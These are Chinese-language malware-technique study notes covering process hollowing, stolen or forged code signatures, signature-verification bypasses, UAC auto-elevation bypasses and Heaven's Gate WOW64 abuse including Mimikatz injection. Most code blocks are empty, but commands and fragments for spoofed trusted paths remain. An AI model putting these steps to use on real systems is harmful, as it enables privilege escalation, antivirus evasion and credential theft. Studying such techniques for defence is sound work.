恶意程式前线战术指南笔记
恶意程式前线战术指南笔记
档案映射
PE蠕虫感染
1 |
|
连结器
1 |
|
Process Hollowing
越南国家级网军组织海莲花Ocean Lotus曾用过该技术。把一支具有数位签名的程式执行成进程,再将进程中已挂载的PE模组替换为恶意程式模组。PEB咨询体的ImageBaseAddress栏位储存主要执行程式的映像基址。此小节为x86工程。
用CREATE_SUSPENDED标志能将任意程式执行并挂载为一个进程,且主线程是被暂停住的,尚未执行到执行程式装载器函数。此时暂停状态下进程的主线程的EIP指向线程共同路由函数ntdll!RtlUserThreadStart
。该函数第一个参数放在EAX中,储存线程完成必要初始化后应返回哪里继续执行的位址,第二个参数放在EBX中,储存内核生成的该进程中PEB块位址。
1 |
|
数位签名
签名伪造
数位签名的签署方式有两种:第一种,也是主流商业产品上采用的方式,就是嵌入式数位签名,其将验证用的签署咨询直接绑定在PE结构末端,方便程式档案再携带、复制或者发布同时一并将该程式签署咨询转移到洽谈电脑上进行验证。第二种,为分离式数位签名,将程式的指纹记录/杂凑资讯储存于作业系统C:\Windows\System32\CatRoot中。
对于第二种,每个副档名为.cat的档案为按照ASN.1标准封装的记录,储存了档案文件名称与其对应的档案内容杂凑。该资料夹只有高权系统服务或提供UAC许可“权限提升Process”才能写入.cat指纹档案。
验证一个程式档案是否收到签署,且数位签章有效性:
1 |
|
在第29行处,WINTRUST_ACTION_GENERIC_VERIFY_V2
指示当前要验证的档案是受Authenticode规格签署的数位签名后档案,该值代表是一串Windows COM Interface代号,使WinVerifyTrust
透过不同GUID来选用不同COM Interface的DLL模组之导出函数进行验证是否有效。其他选项有HTTPSPROV_ACTION,被用在IE浏览器验证当前SSL/TLS之HTTPS网路连线之对方数位签章是否有效,DRIVER_ACTION_VERIFY验证是否为有效Windows Hardware Quality Labs(WHQL)驱动档案。
WinVerifyTrust
返回值有:
结果 | 含义 |
---|---|
ERROR_SUCCESS | 传入档案确实受到签名验证通过,且档案无损毁或遭篡改之疑虑。 |
TRUST_E_NOSIGNATURE | 传入档案之签名内容不存在或具有无效数位签章。 |
TRUST_E_EXPLICIT_DISTRUST | 传入档案具有有效签名且验证通过,但该签名效力被签署人或当前用户禁用从而无效。 |
TRUST_E_SUBJECT_NOT_TRUSTED | 该安装该签名之证书到本地系统时被用户手动阻止导致此签名不被信任。 |
CRYPT_E_SECURITY_SETTINGS | 该签名证书当前被网管设下的群组原则禁用,指纹计算结果不吻合当前传入档案,时间戳记异常等。 |
WinVerifyTrust
具体细节看https://specterops.io/wp-content/uploads/sites/3/2022/06/SpecterOps_Subverting_Trust_in_Windows.pdf 。在Windows 10时代的详解请看https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286402&idx=3&sn=6eac85d87908e1ee132b09e852c17682&chksm=b18149c886f6c0de5efeb852f59c670353c5331f4fbbafccddd809a53e0d0d11c5bb237ac5f1&scene=27 。数字签名劫持实战请看https://zhuanlan.zhihu.com/p/31083135 。
由于不同种类档案其数位签名储存方式皆不同,因此微软体系下将每不同中档案验证方式都独立涉及一个COM Interface,即全局共享DLL模组,作为对应当前档案种类的Subject Interface Package(SIP)接口,并配有一组GUID能够反查SIP模组来使用。大致流程如下,“*”表示可选过程:
顺序 | Trust Provider |
---|---|
1 | Initialization |
2 | Message |
3 | Signature |
4 | Certificate |
5 | CertCheck* |
6 | FinalPolicy |
7 | DiagnosticPolicy* |
8 | Cleanup* |
在上述Message阶段时,先后呼叫三个函数:
- 在
Crypt32!CryptSIPDllsMyFileType
中将按顺序确认当前传入档案是PE、Catalog、CTL、Cabinet哪种类型并返回对应SIP接口GUID序号。倘若非上述4中,将从注册表中用PsIsMyFileType
确认是否为PowerShell脚本、Windows MSI安装包、WIndows应用商店Appx程式等并返回对应SIP接口GUID序号。 - 在上个步骤提取出对应当前档案SIP的GUID后,用
Crypt32!CryptSIPGetSignedDataMsg
以对应SIP接口从当前档案提取签名资讯。 - 用
Crypt32!CryptSIPVerifyIndirectData
计算当前档案杂凑结果作为指纹,与上个步骤提取出的签名资讯比对,若杂凑结果一致则当前档案与签名当下的档案内容是完全一致的,若不一样则代表该档案在传输或复制过程中损毁或被植入后门、篡改后的档案。
当然上述为设计理论,实践证明PsIsMyFileType
的实现在C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll,代码如下。CryptSIPDllsMyFileType
并没有实现,而是查找注册表,并直接调用pwrshsip!PsIsMyFileType
。
1 | __int64 __fastcall PsIsMyFileType(unsigned __int16* a1, struct _GUID* a2) { |
稍微整理一下可得:
1 |
|
对于查看数位签名在PE档案中的位置,可用PE Bear。看到Data Directory表,有Security Directory栏位之位址是一个Offset位置,指向嵌入式Authenticode签名讯息,为WIN_CERTIFICATE结构。
1 | typedef struct _WIN_CERTIFICATE { |
dwLength记录以签名讯息资料起点处之后多少字节内部算是签名讯息资料。bCertificate栏位作为起点开始后所有资料都是校验用的证书记录内容。wCertificateType栏位记录bCertificate证书类型,选项如下。
类型 | 描述 |
---|---|
WIN_CERT_TYPE_X509 | X.509证书 |
WIN_CERT_TYPE_PKCS_SIGNED_DATA | PKCS#7方式填充的SignedData的结构 |
WIN_CERT_TYPE_RESERVED_1 | 保留 |
WIN_CERT_TYPE_TS_STACK_SIGNED | 伺服器协议堆叠证书签名 |
对于wRevision栏位值为WIN_CERT_REVISION_1_0代表旧版Win_Certificate,WIN_CERT_REVISION_2_0代表当代版本。证书签名资讯细节与档案指纹计算细节有https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx ,但这个有多少过时的内容我不好说。
签名讯息被拼接在政支PE静态档案内容结尾,即最后一个区段内容末尾,拼接起点为Secruity Directory所记录的Offset位址。在遵守PCKS#7方式填充的签名证书讯息,内文包含:
内容 | 含义 |
---|---|
contentInfo | 记录签名当下该档案杂凑值作为指纹 |
certificates | 记录签署人的X.509公开证书资讯 |
signerInfos | 储存contentInfo杂凑值与用来显示给使用者检视签署人资讯,如签署人名称、参考网址、签署时间等 |
档案指纹(即杂凑)的计算方法:
- 将PE程式档案读入到记忆体中,并对杂凑演算法做必要的初始化。
- 将PE档案开头处到Checksum栏位(位于NT Headers之Optional Header结构)之前的资料进行杂凑计算并更新杂凑结果。
- 跳过Checksum栏位不做杂凑计算。
- 将Checksum栏位末端到Security Directory栏位之前的资料进行杂凑计算并更新杂凑结果。
- 跳过Security Directory栏位,即一个8字节IMAGE_DATA_DIRECTORY结构大小不做杂凑计算。
- 将Security Directory栏位末端开始到区段头阵列结尾的资料进行杂凑计算并更新杂凑结果。
- 宣告一个数值变数SUM_OF_BYTES_HASHED用以储存当前已对多少字节做过杂凑计算,接着将其预设值设为SizeOfHeaders数值。
- 建立一个区段头清单储存PE结构中的所有区段头资讯,并将清单中各个区段头按照其结构的PointrToRawData以小到大的升幂排序。
- 对已排序清单中每个区段头按顺序枚举、对区段头指向内容进行块状杂凑计算并更新杂凑结果,每杂凑完一个区段内容便将SUM_OF_BYTES_HASHED变数加上该区段内容大小。
- 此时Authenticode被储存在PE机构最末端,但若签名讯息后端还被多padding了其他资料,则将签名讯息块状结构后至档案EOF处所有多余资料再计算一次杂凑并更新杂凑结果。
签名伪造,即将他人Authenticode签名讯息偷过来在恶意程式上。下面这个代码可简单将一个已签名的程式的数位签名直接拷贝到另一个程式上,此时签名是无效的,注意x86与x64要对应。
1 |
|
勒索软体佩提亚Petya在野攻击行动被卡巴斯基研究员@craiu于2017年观察到,其特色在于使用重大国家外泄军火(如EternalBlue、SMB漏洞与Office相关漏洞进行钓鱼)作为标配感染途径,并在全球肆虐攻击大型政府与民营机关如机场、地铁与银行。Petya为了让后门更难以被用户察觉而采用了以上签名窃取手段,使其后门伪装成微软发布的执行程式混淆视听。
杂凑校验绕过
受数位签名的执行程式档案透过CryptSIPGetSignedDataMsg
提取出签名讯息(即Security Directory指向的那块WIN_CERTIFICATE完整结构内容)之后,便能以CryptSIPVerifyIndirectData
进行校验其签名讯息有效性。若其数位签名对当前程式档案内容仍有效将返回TRUE,反之FALSE。本小节目标为伪造CryptSIPVerifyIndirectData
,任何呼叫该函数进行签名有效性确认时都回应TRUE。
1 |
|
本程序运行后将explorer.exe的CryptSIPVerifyIndirectData
进行patch,直接返回TRUE,然后从explorer.exe文件属性中校验签名,发现签名正常。
签名扩展攻击
上个小节只是欺骗,本小节尝试从计算流程中找缺陷来绕过签名验证。
在杂凑计算流程中避开有:会因为植入签名讯息而异动的Checksum校验和、用于事后填写用的Secruity Directoy栏位、与签名讯息块本身结构。由于签名讯息本身不能被作为指纹杂凑计算流程的范畴、而受签名且其签署有效的程式档案又被Windows信任体系(如防毒厂商或系统自带白名单防护)视为安全无误的资料。于是选择在签名讯息块中藏匿任何恶意档案或资料,又不破坏签名有效性。
1 |
|
路径正规化滥用攻击
DOS路径2.0路径正规化流程为:确认传入路径为下列哪种类型;将路径中所有斜杠取代为反斜杠;若有多个反斜杠则收叠成一个;若有当前目录“.”则移除,有上层目录“..”则移除上层目录名;最后一个资源为路径分隔符反斜杠则代表一个目录,并保留;若末端不是路径分隔符、空白字元或点字元则移除。
任何透过Windows API取得的路径必定经过上述路径正规化步骤,若传入路径用前缀“\\?\”则上述步骤直接被跳过。第一点是因为NTFS和FAT等文件系统支持“foo.”等文件名,但标准Windows路径不合法,需要访问这类档案时使用;Windows XP~8的路径长度最长不超过MAX_PATH即260字元,但Windows 10中支持32767字元,用该前缀绕过传统的路径长度检测。
Windows API内部呼叫ntdll!RtlDetermineDosPathNameType_U
将传入路径归类下列类型其中一种:
类型 | 含义 | 举例 |
---|---|---|
RtlPathTypeRooted | 根目录作为当工作目录磁碟槽下的相对路径 | \Windows |
RtlPathTypeDriveRelative | 磁碟槽相对路径 | C:Windows |
RtlPathTypeRootLocalDevice | 本地根设备路径 | \\?\C:\Windows\explorer.exe |
RtlPathTypeLocalDevice | 本地设备路径 | \\.\C:\Windows\explorer.exe |
RtlPathTypeUncAbsolute | UNC相对路径 | \\127.0.0.0\C$\Windows\explorer.exe |
RtlPathTypeDriveAbsolute | 典型绝对路径 | C:\Windows\explorer.exe |
RtlPathTypeRelative | 典型相对路径 | bin\ |
例如:
1 | cd C:\tmp |
WinObj中符号连结的顶层目录下有些常用子目录:
子目录 | 含义 |
---|---|
Driver | 已挂载驱动档案 |
Device | 全域设备,如TCP/UDP设备、NULL设备、UNC路径使用的Mup设备 |
GLOBAL?? | 全域符号连结,遇到前缀“\\.\”时使用 |
KnownDlls | 已知DLL模组,不按照DLL搜索顺序进行搜索,避免DLL劫持 |
在这个情况下,可以欺骗:
1 | type 恶意.exe > "\\?\C:\tmp\正常.exe " #注意最后这个空格 |
对“正常.exe ”进行签名校验时实际抓的是“正常.exe”,此时签名通过。
UAC防护逆向工程至本地提权
入门
UAC防护服务名为Application Information,可以看到命令行如下,意思是将appinfo.dll托管在svchost.exe高权限服务,独立为一个进行运作。当出现UAC授权的GUI界面时,用Process Explorer可以看到svchost.exe下出现了consent.exe,即UAC授权GUI界面。
1 | C:\Windows\system32\svchost.exe -k netsvcs -p |
每次低权程式档案撞见为特权提升进程时,且请求被允许时,UAC特权服务以高权孵化出低权程式档案进程。这代表UAC特权服务有回调函数appinfo!RAiLaunchAdminProcess
负责接收请求、验证、生成进程和分放权限。
1 | struct APP_PROCESS_INFORMATION{ |
在RAiLaunchAdminProcess
中调用的RAiLaunchProcessWithIdentity
中,有:
1 | v44 = I_RpcBindingInqLocalClientPID(Binding, &Pid); //通过Binding取得发起此RPC请求的父进程的进程ID |
在RAiLaunchAdminProcess
中还有:
1 | hObject = CreateFileW(v41, 0xA0000000, 5u, 0LL, 3u, 0x80u, 0LL); //以可读可执行方式向内核请求子进程档案控制码 |
还有:
1 | Reply = CheckElevation(v64, &v120, 0LL, &v107, &v97); //v107为1表示不要通知 2为应用程式尝试变更时通知 选项如控制面板中设置一样 |
Windows 7的UAC防护加入了“UAC信任授权双重认证机制”,若两段认证“认证A”和“认证B”皆通过,在consent.exe被唤起后不弹出UAC介面程式询问使用者是否授权,并自动同意该次提升进程创建请求。
认证A阶段时,函数AiCheckSecureApplicationDirectory
中认证子进程路径是否从可信路径发起的。
1 | v2 = 0; |
在接下来的这个函数中,比对路径开头是否符合白名单内的系统路径,如\??\C:\Windows、\??\C:\Program Files\或\??\C:\Program Files(x86)\且不在黑名单目录内,黑名单目录通常为小算盘、Windows Edge等系统额外特色小工具的目录。若从C:\Windows\开头的绝对路径发起,则trustedFlag设为0x2000。此外还以C:\Windows\System32、C:\Windows\SysWOW64、C:\Windows\ehome、C:\Windows\Adam或C:\Windows\ImmersizeControlPanel开头的,设为0x4000。后续AipMatchesOriginalFileName
将程式做档案映射到记忆体中,确认其PE程式档案资源档中version.txt记录着编译时档案名称是否与当前子进程档名相符,来避免档案替换的劫持手段。
1 | void __fastcall AipCheckSecureWindowsDirectory(struct _UNICODE_STRING *a1, unsigned int *a2) { |
若程式路径开头在Program Files则进一步呼叫AipCheckSecurePFDirectory
来比对目录是否在Windwos Defender、Journal、Media Player或Multipoint Server中。
1 | void __fastcall AipCheckSecurePFDirectory(PCUNICODE_STRING String2, unsigned int *a2) { |
在RAiLaunchAdminProcess
中有:
1 | AiIsEXESafeToAutoApprove(v66, hObject, v63, &v99, &v128); |
AiIsEXESafeToAutoApprove
即为整体UAC提权自动提升的重点验证,如果之前验证A中trustedFlag未大于0x200000,则直接离开该函数:
1 | if ( (v13 & 0x200000) != 0 ) |
接下来:
1 | LABEL_6: |
在AipIsValidAutoApprovalEXE
中有:
1 | bool __fastcall AipIsValidAutoApprovalEXE(void *a1, const unsigned __int16 *a2) { |
UAC介面程式 ConsentUI
通过认证后用AiLaunchConsentUI
唤起consent.exe,并将trustedFlag传给后者。
1 | v29 = AiLaunchConsentUI((__int64)v22, v51, a6, v50, v37, v28, v39, a8, &ExistingTokenHandle); |
在AiLaunchConsentUI
中有:
1 | ExitCode = SessionLock; |
在AipVerifyConsent
中,有:
1 | InformationProcess = NtReadVirtualMemory(hProcess, BaseAddress, Buffer, 0x7D0uLL, (PSIZE_T)ReturnLength); //将当前暂停的consent.exe程式内容取出 |
再回到AiLaunchConsentUI
的尾部,有:
1 | LABEL_3: |
然后在AiLaunchProcess
内部用CreateProcessAsUserW
将子进程路径以高权服务身份创建:
1 | lpCurrentDirectory = v34; |
综上所述,UAC设计的自动特权提升条件有:执行程式自身配置为Auto Elevation、程式档案具有有效数位签名、从可信任的系统目录被执行起来。
不当注册表配置引发的特权劫持提权
系统还原工具sdclt.exe启动时尝试盲搜注册表,最终读取低权注册键值HKCU\Software\Microsoft\WIndows\CurrentVersion\App Paths\control.exe上储存的文字形式命令字符串:
1 | "C:\Windows\System32\control.exe" /name Microsoft.BackupAndRestoreCenter |
接着以特权提升方式唤醒高权的系统控制面板并切换至系统还原配置画面给使用者观看。
其中HKEY_CURRENT_USER注册键值为任何不具特权提升的低权程式皆可写入的注册项目,修改注册表值后可获得特权提升的其他进程。
Elevated COM Object UAC Bypass
Windows 10上无法稳定利用,略。
CMSTP任意特权提升执行
网路装置连线配置工具cmstp.exe在安装连线配置档案过程中呼叫COM Interface执行文字形式命令字串,只要呼叫此接口便得以特权提升状态执行ShellExecute函数。这节为x86工程。
1 | // $g++ masqueradePEB.cpp -lole32 -loleaut32 && a |
透过信任路径碰撞达成提权
对于Windows内建的BitLockerWizardElev.exe磁碟加密工具,自身标注为需要管理员权限执行requireAdministrator和自动特权提升autoElevate的。特权自动提升的三个条件如下,其中前两个此时已满足了:
- 执行程式需将自身配置为AutoElevation;
- 程式档案具有有效数位签名;
- 从可信任的系统目录被执行起来。
分析其导入表发现需要引入FVEWIZ!FveuiWizard
和FVEWIZ!FveuipClearFveWizOnStartup
,此时应使用DLL Side-Loading手段,撰写一个恶意DLL模组导出这俩函数并劫持执行流程。C:\Windows\System32和C:\Windows\SysWOW64无法被任意写入档案与创建资料夹是因为系统槽被配置了DACL,认证A过程中先用GetLongPathNameW
从子进程路径中提取出NT Path长路径而后便以此长路径用RtlPrefixUnicodeString
比较是否路径开头为上面那俩,就予以通过认证A。但在呼叫GetLongPathNameW
取出NT Path长路径内部发生Windows路径正则化,使UAC特权服务在信任认证A中比对的路径是受路径正规化过后的长路径,使得C:\下不能创建或写入档案,但可以创建新资料夹。之后通过认证A和B后,consent.exe要唤醒用户授权弹窗,但CreateProcessAsUserW
创建子进程时不是使用认证完毕的长路径来生成进程,而是以父进程给出的原始子进程路径来生成进程。于是:
1 | mkdir "\??\C:\Windows \" |
在上述创建的目录下放置同名恶意软件,运行后可自动提权,且有数位签名。
重建天堂之门:探索WOW64模拟机至夺回64位元天堂胜地
入门
32位程式托管于原生64位进程中运行的状态统称位WOW64进程。一个标准的WOW64进程的记忆体分布如下,挂载的DLL模组同时具有32位和64位两种模块。32位程式仅能使用32位DLL,但64位原生系统看不懂32位DLL发送的系统中断,所以记忆体中出现同名模组的32/64位模组同时挂载。
1 | 0 iexplorer.exe*32 |
当托管于WOW64进程中的32位程式呼叫32位模组导出函数,接着透过WOW64模拟层将32位Win32API请求翻译为对应64位模组请求,最终以64位模组对应API发出64位系统中断给64位系统,完成一次WOW64系统中断:
1 | ;SysWOW64下的ntdll32.dll 过渡层函数 |
在上述过程中,防毒软体使用API Hooking,挂钩经常被恶意使用的系统API,如NtResumeThread
,修改其组合语言程式码片段前5字节为jmp,跳转至防毒设计的陷阱函数中扫描此次呼叫的参数是否恶意。
1 | ;NtResumeThread Hooked ntdll32 |
上述过程只挂钩了ntdll32.dll,微软并不愿意攻击方或防守方直接挂钩64位DLL,且若ntdll64!LdrLoadDll
被调用于挂载任何64位DLL至WOW64则自动拒绝。当WOW64进程在初始化阶段会进入wow64!Map64BitDlls
函数,将所有系统常见的已知DLL如Kernel32、User32、GDI等攻击者常滥用的64位系统模组都先挂载一份到记忆体VAD中,但不在64位PEB的Ldr模组资讯中记录挂在了这些64位DLL模组。这等于熊在WOW64进程预先挂载并占用这些攻击者想用的64位DLL模组记忆体,无法在64位kernel32.dll模组想使用的地址上申请记忆体,任何天堂之门攻击想要用ntdll64!LdrLoadDll
来挂载64位kernel32.dll就必定失败。
为了绕过这项保护,成功在WOW64进程中挂载64位DLL,可以先用ntdll64!NtUnmapViewOfSection
把那块记忆体释放掉,接着用ntdll64!LdrLoadDll
就能成功挂载了。但在Windows 10后导入了Control Flow Guard(CFG),使得上述方法失败,因为WOW64进程的64位空间里没有64位Bitmap能让攻击者想挂载的系统DLL的CFG能启用,导致DLL无法被挂载。
WOW64模拟机初始化
任何WOW64进程一开始也是64位线程,通过64位wow64cpu!RunSimulatedCode
将自身降为32位模式进程状态:
1 | .text:000000006B101650 ; void __fastcall RunSimulatedCode(__int64, __int64, __int64, __int64, char, int, __int64, int, __int64, __int64) |
TurboThunkDispatch
1 | .rdata:000000006B104770 AF 17 10 6B 00 00 00 00 TurboThunkDispatch dq offset TurboDispatchJumpAddressEnd |
其中最后一个函数CpupReturnFromSimulatedCode
是32位走回64位元的第一个64位入口函数。当32位程式踩到任何32位系统函数要进行系统中断时,踩入该函数,对当前32位执行状态进行备份,接着跳入TurboDispatchJumpAddressEnd
,,其内部以ntdll64.dll的函数进行仿真当前收到的32位系统中断。TurboDispatchJumpAddressEnd
用于呼叫wow64!Wow64SystemServiceEx
完成仿真32位系统中断,完成后从上次CpupReturnFromSimulatedCode
备份的执行状态进行恢复,跳回上次32位程式呼叫Win32 API的返回地址并接着执行。
NtAPI过渡层Trampoline
ntdll32的过渡层函数上面有,调用的ntdll32!Wow64SystemServiceCall
如下:
1 | wow64cpu.dll+6000 jmp 0033:wow64cpu.dll+6009 |
6000处区段暂存器CS值决定当前Intel晶片应当以哪一种指令集来解析Program Counter上的程式码,+6009h处开始的程式码就是Intel x64组合语言指令。不同CS暂存器值组合与意义为:
值 | 含义 |
---|---|
0x23 | WOW64架构中32位执行模式 |
0x33 | 原生64位执行状态 |
0x1B | 原生32位执行状态 |
最后跳转的CpupReturnFromSimulatedCode
用于备份当下32执行绪运行状态:
1 | .text:000000006B101779 CpupReturnFromSimulatedCode: ; CODE XREF: sub_6B103024+4↓j |
任意一个WOW64执行绪至少有两个独立的执行绪堆叠参与,分别为32位执行绪堆叠和64位执行绪堆叠,前者位WOW64执行绪程式本身使用的堆叠,后者只有从32位切回64位时才使用。
天堂翻译机核心
该核心即为Wow64SystemServiceEx
。例如NtOpenProcess
导出函数为:
1 | .text:4B2F67C0 ; __stdcall ZwOpenProcess(x, x, x, x) |
例如上面26h即为系统函数识别码,该识别码其实是个结构,两个成员组成一个二维矩阵索引值。
1 | typedef struct _WOW64_SYSTEM_SERVICE{ |
该二维矩阵即为wow64!sdwhnt32JumpTable
全域指针表:
1 | .rdata:00000001800385F0 30 34 01 80 01 00 00 00 sdwhnt32JumpTable dq offset whNtAccessCheck |
翻译机函数程式码如下:
1 | __int64 __fastcall Wow64SystemServiceEx(unsigned int a1, __int64 a2) { |
其中在上述57~63行为微软偷偷设计的暗门,可监控全电脑上所有正在运行的WOW64进程呼叫了哪些32位NtAPI并允许在呼叫前修改参数或修改呼叫的返回值。其内部先确认系统槽是否有wow64log.dll,有则调用前告知系统函数欲参数,调用后通知执行结果。
对于翻译过程,例如whNtOpenProcess
。WOW64翻译层即为将遵守x86呼叫约制的原始32位系统中断的参数内容重新解析,并以对应64位资料结构重新封装,最终以x64呼叫约制对ntdll64.dll导出的API进行调用。
1 | NTSTATUS __fastcall whNtOpenProcess(unsigned int *a1) { |
x96 Shellcode
能够不论系统为x86还是x64,都能运行的Shellcode称为x96 Shellcode:
1 | ; yasm -f bin -o x96shell_msgbox x96shell_msgbox.asm |
滥用天堂之门暴搜记忆体
经典Shellcode技巧是通过FS:30h或GS:60h取得当前TEB,再找PEB和Ldr,获得当前已挂载的记忆体模组有哪些,找到对应模组基址就能以PE攀爬技巧取出导出的API的绝对地址。这种方法容易被发现,这里可滥用天堂之门暴力搜索记忆体。
这里直接透过天堂之门,用API的系统函数识别码呼叫即可,不必定位API绝对地址。其中TEB+C0h处用于摆放wow64cpu!X86SwitchTo64BitMode
绝对地址。
1 |
|
天堂圣杯
主要通过滥用切换CS来改变当前英特尔解析指令集。这里涉及两套巨集,一个是32位运行下切换至64位使用的巨集,另一个是64位运行下切换回32位使用的巨集。64位TEB和PEB记载的资讯是64位的,得用下面些函数读取4GB以上资料内容,并用memcpy64
拷贝资料:
1 | auto memcpy64 = ((void(cdecl*)(ULONG64, ULONG64, ULONG64))((PCSTR) |
接下来定位当前WOW64进程中64位天堂翻译机函数wow64!Wow64SystemServiceEx
绝对地址:
1 | void getPtr_Wow64SystemServiceEx(UINT64 &value) { |
天堂圣杯核心函数:
1 | int NtAPI(const char* szNtApiToCall, ...) { |
滥用天堂翻译机达成的Process Hollowing技巧如下:
1 | int RunPortableExecutable(void* Image) { |
完整项目代码:
1 | //wowGrail.cpp |
天堂注入器
每次进出WOW64层必须先备份当下32位运行状态,模拟盖茨系统中断,再接着从32位运行状态备份快照还原。如果能泄露任意WOW64进程该备份快照储存地址,并修改快照中32位执行绪返回地址,就可控制该32位程式离开WOW64翻译层后要执行去哪里。原理参考WOW64模拟机初始化函数RunSimulatedCode
函数入口程式码。
无论TEB32/64或PEB32/64其实再系统记忆分配上是申请一大块记忆体,才接着将其拆解为上述四块资料结构。Windows内核在生成任何用户模式新进程时,用nt!MiCreatePebOrTeb
来替新进程创建TEB与PEB结构使用的记忆体,原生和WOW64进程皆如此。正常情况下内核开一块2000h的记忆体足够了,WOW64进程需要开3000h,再拆为4块资料结构使用。在实际WOW64进程孵化阶段,系统先正确填好WOW64进程64位PEB结构,再接着将64位PEB结构咨询拷贝至32位PEB结构中。
也就是说,只要能泄露任何一块资料结构地址,便能得知其余三块所有地址。例如将Mimikatz注入32位CMD命令中断cmd.exe中执行:
1 | uint32_t getShadowContext32(HANDLE hProcess, uint32_t PEB) { //通过任何一块已知资料结构来泄露其余三块资料结构 传入WOW64进程当前已知的PEB32地址 |
完整源码:
1 | //wowInjector.cpp |